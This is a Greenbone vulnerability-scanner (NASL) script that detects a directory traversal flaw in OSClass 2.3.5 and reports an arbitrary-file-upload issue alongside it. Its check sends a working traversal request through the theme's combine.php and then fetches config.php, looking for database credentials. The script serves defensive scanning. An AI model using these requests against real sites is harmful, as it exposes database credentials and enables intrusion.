OSClass Directory Traversal and Arbitrary File Upload Vulnerabilities

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103446");
  script_version("2025-01-17T15:39:18+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("OSClass Directory Traversal and Arbitrary File Upload Vulnerabilities");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/52336");
  script_xref(name:"URL", value:"http://osclass.org/2012/03/05/osclass-2-3-6/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/521902");
  script_xref(name:"URL", value:"http://www.codseq.it/advisories/osclass_directory_traversal_vulnerability");
  script_tag(name:"last_modification", value:"2025-01-17 15:39:18 +0000 (Fri, 17 Jan 2025)");
  script_tag(name:"creation_date", value:"2012-03-08 11:53:08 +0100 (Thu, 08 Mar 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more information.");

  script_tag(name:"summary", value:"OSClass is prone to a directory traversal vulnerability and an arbitrary-file-
upload vulnerability.");

  script_tag(name:"impact", value:"An attacker can exploit these issues to obtain sensitive information
and to upload arbitrary code and run it in the context of the
webserver process.");

  script_tag(name:"affected", value:"OSClass 2.3.5 is vulnerable, prior versions may also be affected.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

foreach dir( make_list_unique( "/osclass", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + "/index.php";
  buf = http_get_cache( item:url, port:port );

  if( buf =~ "This website is proudly using the.*OSClass" || 'generator" content="OSClass' >< buf ) {

    url = dir + "/oc-content/themes/modern/combine.php?type=./../../../combine.php&files=combine.php";
    req = http_get( item:url, port:port );
    buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

    if( buf =~ "^HTTP/1\.[01] 200" && "<?php" >< buf ) {

      url = dir + "/combine.php?files=config.php";
      req = http_get( item:url, port:port );
      buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

      if( "DB_USER" >< buf || "DB_PASSWORD" >< buf ) {
        report = http_report_vuln_url( port:port, url:url );
        security_message( port:port, data:report );
        exit( 0 );
      }
    }
  }
}

exit( 99 );